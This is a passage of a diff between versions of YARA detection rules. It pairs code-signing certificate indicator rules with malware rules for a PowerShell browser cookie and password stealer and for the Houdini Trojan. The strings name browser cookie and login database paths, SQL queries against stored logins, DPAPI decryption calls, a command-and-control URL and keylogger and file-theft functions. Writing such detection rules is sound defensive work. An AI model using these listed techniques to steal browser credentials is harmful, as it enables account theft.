-rule DITEKSHEN_INDICATOR_KB_CERT_00Ea734E1Dfb6E69Ed2Bc55E513Bf95B5E : FILE
+rule DITEKSHEN_MALWARE_Win_Scouteliteps
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "4e40ce70-d5d1-5719-bb43-40f860510093"
-		date = "2023-12-08"
-		modified = "2023-12-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7153-L7168"
+		description = "Detects actor PowerShell tool designed to steal browsers session cookie and passwords on-disk and in-memory"
+		author = "ditekshen"
+		id = "d2c04d55-9bf7-54f5-8053-835fa60f19cb"
+		date = "2024-05-28"
+		modified = "2024-05-28"
+		reference = "https://github.com/ditekshen/back-in-2017"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11552-L11587"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e2d07a2af36608d6eab6db85bcb968e486293239d0cfaeea7de2bb8223e58a29"
+		logic_hash = "9b1047b8b485fcfa29225f53674050703d32498cfa99654c8ac5f8bfac29878e"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		thumbprint = "5ca53cc5c6dc47838bbba922ad217a468408a9bd"
-		hash1 = "293a83bfe2839bfa6d40fa52f5088e43b62791c08343c3f4dade4f1118000392"
-		importance = 20
+		quality = 37
+		tags = ""
+
+	strings:
+		$cnc1 = "http://beginpassport.com" ascii wide nocase
+		$cnc2 = "f_dump.php" ascii wide nocase
+		$cnc3 = "c_dump.php" ascii wide nocase
+		$cnc4 = "o_dump.php" ascii wide nocase
+		$db1 = "\\Google\\Chrome\\User Data\\Default\\Cookies" ascii wide nocase
+		$db2 = "\\Mozilla\\Firefox\\Profiles\\*.default" ascii wide nocase
+		$db3 = "\\Opera Software\\Opera Stable\\Cookies" ascii wide nocase
+		$db4 = "$($env:LOCALAPPDATA)\\Google\\Chrome\\User Data\\Default" ascii nocase
+		$db5 = "$($env:APPDATA)\\Mozilla\\Firefox\\Profiles\\*.default" ascii nocase
+		$db6 = "$($env:APPDATA)\\Opera Software\\Opera Stable" ascii nocase
+		$cond1 = "SSID" ascii wide
+		$cond2 = "MSPAuth" ascii wide
+		$cond3 = "\"'T'\"" ascii wide
+		$cond4 = "SNS_AA" ascii wide
+		$cond5 = "X-APPLE-WEBAUTH-TOKEN" ascii wide
+		$sql1 = "SELECT * FROM 'cookies' WHERE host_key LIKE $" ascii wide nocase
+		$sql2 = "SELECT * FROM 'moz_cookies' WHERE host LIKE $" ascii wide nocase
+		$sql3 = "SELECT origin_url, username_value ,password_value FROM 'logins'" ascii nocase
+		$def1 = "Add-Type -AssemblyName System.Security" ascii wide nocase
+		$def2 = "System.Security.SecureString" ascii wide nocase
+		$def3 = "ConvertFrom-SecureString" ascii wide nocase
+		$def4 = "[System.Security.Cryptography.ProtectedData]::Unprotect(" ascii wide nocase
+		$def5 = "[Security.Cryptography.DataProtectionScope]::LocalMachine" ascii wide nocase
+		$def6 = "[Security.Cryptography.DataProtectionScope]::CurrentUser" ascii wide nocase
+		$def7 = "System.Data.SQLite.SQLiteConnection" ascii wide nocase
+		$def8 = "[Environment]::OSVersion.ToString().Replace(\"Microsoft Windows \"," ascii wide nocase
+		$def9 = "Start-Sleep" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Postmarket LLC" and (pe.signatures[i].serial=="00:ea:73:4e:1d:fb:6e:69:ed:2b:c5:5e:51:3b:f9:5b:5e" or pe.signatures[i].serial=="ea:73:4e:1d:fb:6e:69:ed:2b:c5:5e:51:3b:f9:5b:5e"))
+		(1 of ($cnc*) and any of ($db*) and any of ($cond*) and any of ($sql*) and 7 of ($def*)) or ( all of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Dfa4F0Cff90319951B019A4681Ebd2A : FILE
+rule DITEKSHEN_MALWARE_Win_Houdiniconfig : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "bbb0be70-de74-5da9-80d2-2ba474b7f472"
-		date = "2023-12-08"
-		modified = "2023-12-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7170-L7182"
+		description = "Detects Houdini Trojan configurations"
+		author = "ditekshen"
+		id = "e4f974fe-731e-55a8-aa5f-068a1e62f54d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
+		reference = "https://github.com/ditekshen/back-in-2017"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11618-L11634"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d89cda38cf6149c004f7d7b307243567768cba73bd49979d7d4f92f902ef4508"
+		logic_hash = "70a67c9a91d2f82184f1d7a5ea51de911a054dd4e38e2cc36f495ed59219afab"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b85aacac6afb0bef5b6f1d744cd8c278030e6a3e"
-		hash1 = "4eca4e0d3c06e4889917a473229b368bae02f0135f0ac68e937a72fca431ac8a"
-		importance = 20
+
+	strings:
+		$s1 = "install_name="
+		$s2 = "nick_name="
+		$s3 = "install_folder="
+		$s4 = "reg_startup="
+		$s5 = "startup_folder_startup="
+		$s6 = "task_startup="
+		$s7 = "injection="
+		$s8 = "injection_process"
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "deepinstruction O" and pe.signatures[i].serial=="0d:fa:4f:0c:ff:90:31:99:51:b0:19:a4:68:1e:bd:2a")
+		( uint16(0)==0x5a4d and 5 of them ) or ( all of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4D03Ae6512B85Eab4184Ca7F4Fa2E49C : FILE
+rule DITEKSHEN_MALWARE_Win_Houdini : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "a7dc0a07-f295-5aff-9df0-71f27f0fe88c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7184-L7196"
+		description = "Detects the raw binary of the Houdini Trojan Delphi variant"
+		author = "ditekshen"
+		id = "79681ca3-b956-52d4-81b8-b3bd4c86872a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
+		reference = "https://github.com/ditekshen/back-in-2017"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11636-L11707"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2cbeaf65b0d3340df08baf67134a2fe0b26921f2e35ce541884209e3ecddf233"
+		logic_hash = "0580d2525d9d989f98e815dd98b9258724b6e31f058092132c0fbd67cbc5c63c"
 		score = 75
-		quality = 75
+		quality = 46
 		tags = "FILE"
-		thumbprint = "0215ff94a5c0d97db82e11f87e0dfb4318acac38"
-		hash1 = "18bf017bdd74e8e8f5db5a4dd7ec3409021c7b0d2f125f05d728f3b740132015"
-		importance = 20
+
+	strings:
+		$hc = "houdiniclient" ascii wide nocase
+		$mk1 = "keylogger_thread" fullword ascii
+		$mk2 = "keyloger_host" fullword ascii
+		$mk3 = "keylogger_port" fullword ascii
+		$mk4 = "keylogger_thread" fullword ascii
+		$mk5 = "keylogger_init" fullword wide
+		$mk6 = "keylogger_stop" fullword wide
+		$mk7 = "keylogger_offline" fullword wide
+		$mk8 = "silence_keylogger" fullword wide
+		$ms1 = "screenshot_thread" fullword ascii
+		$ms2 = "screen_host" fullword ascii
+		$ms3 = "screen_port" fullword ascii
+		$ms4 = "screenshot_init" fullword wide
+		$ms5 = "screenshot_start" fullword wide
+		$ms6 = "screenshot_stop" fullword wide
+		$ms7 = "screen_thumb" fullword wide
+		$ms8 = "silence_screenshot" fullword wide
+		$mf1 = "file_manager_init" fullword wide
+		$mf2 = "file_manager_root" fullword wide
+		$mf3 = "file_manager_faf" fullword wide
+		$mf4 = "file_manager_download" fullword wide
+		$mf5 = "file_manager_upload" fullword wide
+		$mf6 = "file_manager_stop" fullword wide
+		$mf7 = "file_manager_delete_folder" fullword wide
+		$mf8 = "file_manager_rename_folder" fullword wide
+		$mf9 = "file_manager_rename_file" fullword wide
+		$mf10 = "file_manager_delete_file" fullword wide
+		$mf11 = "file_manager_execute_file" fullword wide
+		$mf12 = "file_manager_thumb" fullword wide
+		$mf13 = "file_manager_upload_http" fullword wide
+		$mf14 = "file_manager_upload_tcp" fullword wide
+		$mf15 = "upload_file_tcp" fullword wide
+		$mf16 = "download_file_tcp" fullword wide
+		$mf17 = "upload_file_http" fullword wide
+		$mf18 = "filemanager_host" fullword ascii
+		$mf19 = "filemanager_port" fullword ascii
+		$mf20 = "filemanager_thread" fullword ascii
+		$mp1 = "password_value" fullword wide
+		$mp2 = "password_init" fullword wide
+		$mp3 = "password_stop" fullword wide
+		$mp4 = "password_firefox" fullword wide
+		$mp5 = "password_chrome" fullword wide
+		$mp6 = "password_all" fullword wide
+		$mp7 = "password_host" fullword ascii
+		$mp8 = "password_port" fullword ascii
+		$mp9 = "password_thread" fullword ascii
+		$mm1 = "misc_init" fullword wide
+		$mm2 = "misc_stop" fullword wide
+		$mm3 = "misc_process_list" fullword wide
+		$mm4 = "misc_module_list" fullword wide
+		$mm5 = "misc_process_terminate" fullword wide
+		$mm6 = "misc_host" fullword ascii
+		$mm7 = "misc_port" fullword ascii
+		$mm8 = "misc_thread" fullword ascii
+		$pl1 = "plugin_file_init" fullword wide
+		$pl2 = "plugin_url_init" fullword wide
+		$pl3 = "plugin_stop" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Lenovo IdeaCentre" and pe.signatures[i].serial=="4d:03:ae:65:12:b8:5e:ab:41:84:ca:7f:4f:a2:e4:9c")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_333705C20B56E57F60B5Eb191Eef0D90 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_56203Db039Adbd6094B6A142C5E50587 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "e868c3ff-a701-59bd-9cd6-bf49305fe28a"
+		id = "b3e56f78-e79a-52e3-b29e-1f566946609e"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7198-L7209"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3-L14"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f5ca35381842a0ea7c319d8388753347a72fc6df746064e520794aeb4b6724d0"
+		logic_hash = "38380bc1a22b8d0fe851f76d2ecadba638f10b01873be44766124fb738e23d71"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "44f0f77d8b649579fa6f88ae9fa4b4206b90b120"
+		thumbprint = "e438c77483ecab0ff55cc31f2fd2f835958fad80"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TASK Holding ApS" and pe.signatures[i].serial=="33:37:05:c2:0b:56:e5:7f:60:b5:eb:19:1e:ef:0d:90")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bccabdacabbdcda" and pe.signatures[i].serial=="56:20:3d:b0:39:ad:bd:60:94:b6:a1:42:c5:e5:05:87")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_79906Faf4Fbd75Baa10B322356A07F6D : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_B5F34B7C326C73C392B515Eb4C2Ec80E : FILE
 {
 	meta:
-		description = "Detects NetSupport (client) signed executables"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "afca727c-ff08-5e47-9ef4-4cd2af96d294"
+		id = "f5d19333-4aee-52d3-aeac-822b39ec653a"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7211-L7222"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L16-L27"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "59862f31d0ba0cf56a93a86783ad802ea2e511845ab1d141aa224c0c61b720a7"
+		logic_hash = "553ef777cb7a93934caa53cc9acdc37fc4cbe2a28ae320f4a7f10b2a4073d675"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f84ec9488bdac5f90db3c474b55e31a8f10a2026"
+		thumbprint = "9d35805d6311fd2fe6c49427f55f0b4e2836bbc5"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NetSupport Ltd" and pe.signatures[i].serial=="79:90:6f:af:4f:bd:75:ba:a1:0b:32:23:56:a0:7f:6d")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cdaadbffbaedaabbdedfdbfebf" and pe.signatures[i].serial=="b5:f3:4b:7c:32:6c:73:c3:92:b5:15:eb:4c:2e:c8:0e")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_030Ba877Daf788A0048D04A85B1F6Eca : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0A1Dc99E4D5264C45A5090F93242A30A : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "66689847-aa67-5029-9f37-cc410a564633"
+		id = "8efea9da-a3ae-5af3-83b2-cac5baa4fa89"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7224-L7235"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L29-L40"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "70b5b9011b53b7c9ac9dc286f3512a7a8bec5ec35ade0ee1c4bedd0a128994da"
+		logic_hash = "cb230503e17e93f78b04723c32d7ce66bdf146846e0208d268eebc0e446a6917"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1f10c5676a742548fb430fbc1965b20146b7325a"
+		thumbprint = "17680b1ebaa74f94272957da11e914a3a545f16f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Skylum Software USA, Inc." and pe.signatures[i].serial=="03:0b:a8:77:da:f7:88:a0:04:8d:04:a8:5b:1f:6e:ca")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "K & D KOMPANI d.o.o." and pe.signatures[i].serial=="0a:1d:c9:9e:4d:52:64:c4:5a:50:90:f9:32:42:a3:0a")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Fe83F58D001327Fbaafd7Bac76Ae6818 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0D53690631Dd186C56Be9026Eb931Ae2 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "5d41be99-85de-55bc-817b-eea510aff308"
+		id = "f0afbdf4-68db-522f-95d7-cd76aa7b9710"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7237-L7251"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L42-L53"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8aac715daba042ca4a57cd65b98e6192c87a13e7e0c8ff4a3bc81c43223035ad"
+		logic_hash = "645c2340fe7e7ce992f3f655d5058834d0df6a64ea20ef7794893a592124c55e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c130dd74928da75a42e9d32a1d3f2fd860d81566"
+		thumbprint = "c5d1e46a40a8200587d067814adf0bbfa09780f5"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "A. Jensen FLY Fishing ApS" and (pe.signatures[i].serial=="fe:83:f5:8d:00:13:27:fb:aa:fd:7b:ac:76:ae:68:18" or pe.signatures[i].serial=="00:fe:83:f5:8d:00:13:27:fb:aa:fd:7b:ac:76:ae:68:18"))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "STA-R TOV" and pe.signatures[i].serial=="0d:53:69:06:31:dd:18:6c:56:be:90:26:eb:93:1a:e2")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0788260F8541539D97F49Ddaa837B166 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Fd8C468Cc1B45C9Cfb41Cbd8C835Cc9E : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "fb102e07-92fc-5ed8-a9cf-1cfd53f54281"
+		id = "836af706-3a82-5aaf-9a96-244eef5820b2"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7253-L7265"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L55-L66"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "48985ac2c450bc4b3c5de635717dcf3a7ecf64109aa4059477ba79606f7fc2a4"
+		logic_hash = "495ec6dbfdec3f608e387280e2d34093bb4965f5ada7c101e3119ae970eaf80d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "569511fdc5e8dea454e97b005de1af5272d4bd32"
-		hash1 = "6ad407d5c7e4574c7452a1a27da532ee9a55bb4074e43aa677703923909169e4"
+		thumbprint = "08fc56a14dcdc9e67b9a890b65064b8279176057"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TechSmith Corporation" and pe.signatures[i].serial=="07:88:26:0f:85:41:53:9d:97:f4:9d:da:a8:37:b1:66")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Pivo ZLoun s.r.o." and pe.signatures[i].serial=="fd:8c:46:8c:c1:b4:5c:9c:fb:41:cb:d8:c8:35:cc:9e")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Ca5Acafb5Fdca6F8B5D66D1339A5D85 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_32Fbf8Cfa43Dca3F85Efabe96Dfefa49 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "6f0e9e3a-52fc-5ffd-90b3-743d925388df"
+		id = "9a228e0e-256b-547d-af6d-960089f2f803"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7267-L7279"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L68-L79"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2612e58b4e1a6fa65b32fe855b3542882c79345e93ab134933c893e90bb1a75c"
+		logic_hash = "7e53dcd2e10285f710f1fb2355d77db3507ce346e8d0f26843ca8df2271a6e9e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ab25053a3f739ddd4505cf5d9d33b5cc50f3ab35"
-		hash1 = "a3ab41d9642a5a5aa6aa4fc1e316970e06fa26c6c545dd8ff56f82f41465ec08"
+		thumbprint = "498d63bf095195828780dba7b985b71ab08e164f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Valve" and pe.signatures[i].serial=="0c:a5:ac:af:b5:fd:ca:6f:8b:5d:66:d1:33:9a:5d:85")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Foxstyle LLC" and pe.signatures[i].serial=="32:fb:f8:cf:a4:3d:ca:3f:85:ef:ab:e9:6d:fe:fa:49")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_387Eeb89B8Bf626Bbf4C7C9F5B998B40 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7E0Ccda0Ef37Acef6C2Ebe4538627E5C : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "56dfc1b5-3aba-5c21-93e6-85d41a2a4415"
+		id = "89006ac2-5cbc-5e7f-9ca6-51316b8d4bfd"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7281-L7293"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L81-L92"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3436b7954e5488614f8f0998fe9eae7773d821c776436836d7b2230cd9c97f46"
+		logic_hash = "aed6c65f9c6400c0cc94386be684d3b9dd8d7637f9798fb49f4f651cf28b2d12"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e94ad249747fd4b88750b2cd6d8d65ad33d3566d"
-		hash1 = "004f011b37e4446fa04b76aae537cc00f6588c0705839152ae2d8a837ef2b730"
+		thumbprint = "a758d6799e218dd66261dc5e2e21791cbcccd6cb"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ULTRA ACADEMY LTD" and pe.signatures[i].serial=="38:7e:eb:89:b8:bf:62:6b:bf:4c:7c:9f:5b:99:8b:40")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Orangetree B.V." and pe.signatures[i].serial=="7e:0c:cd:a0:ef:37:ac:ef:6c:2e:be:45:38:62:7e:5c")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_035B41766660B08Aaf121536F0D83D4D : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0095E5793F2Abe0B4Ec9Be54Fd24F76Ae5 : FILE
 {
 	meta:
-		description = "Detects signed excutable of DiskCryptor open encryption solution that offers encryption of all disk partitions"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "80c803e1-16b8-583d-9d4f-3a0f693c9e24"
+		id = "94878b56-5b29-55a8-a8ec-7ace588e34ef"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7295-L7306"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L94-L105"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "924ed1d3c6a8d378471a2e5301f3a813ee8622135ce001d3061918d9454cdcc4"
+		logic_hash = "b1f8867b47c1bec43b3603af343d6d5728ec218a66863a6777c0ee59ae1faa98"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2022d012c23840314f5eeaa298216bec06035787"
+		thumbprint = "6acdfee2a1ab425b7927d0ffe6afc38c794f1240"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Alexander Lomachevsky" and pe.signatures[i].serial=="03:5b:41:76:66:60:b0:8a:af:12:15:36:f0:d8:3d:4d")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kommservice LLC" and pe.signatures[i].serial=="00:95:e5:79:3f:2a:be:0b:4e:c9:be:54:fd:24:f7:6a:e5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1A041Db92237C18948109789F627B3Cd : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C167F04B338B1E8747B92C2197403C43 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "0a5a6b19-0fbe-5e0c-bfb1-ca201207f6c7"
+		id = "d838e09b-e2f2-585a-a33d-bfe34f989e77"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7308-L7320"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L107-L118"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f5e07eb58a68dea062522869c43daeddab666f12b078a4f2ce9aa37885e46cbd"
+		logic_hash = "008fe748c7956c1885c7d7e3a843d2310c17b7552dbbe9b4750809a5642d7ca6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2315cf802aaf96d11f18766315239016e533bf32"
-		hash1 = "a0338becbfe808bc7655d8b6c825e2e99b37945e5d8fc43a83aec479d64f422d"
+		thumbprint = "7af7df92fa78df96d83b3c0fd9bee884740572f9"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Amitotic" and pe.signatures[i].serial=="1a:04:1d:b9:22:37:c1:89:48:10:97:89:f6:27:b3:cd")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FORTUNE STAR TRADING, INC." and pe.signatures[i].serial=="00:c1:67:f0:4b:33:8b:1e:87:47:b9:2c:21:97:40:3c:43")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_06Df5C318759D6Ea9D090Bfb2Faf1D94 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Fc7065Abf8303Fb472B8Af85918F5C24 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "8c1f226f-6fc0-5136-ac19-7d88d7505a8e"
+		id = "d8c25f8a-e129-5cd4-9e60-d2e7ebbb1ea6"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7322-L7334"
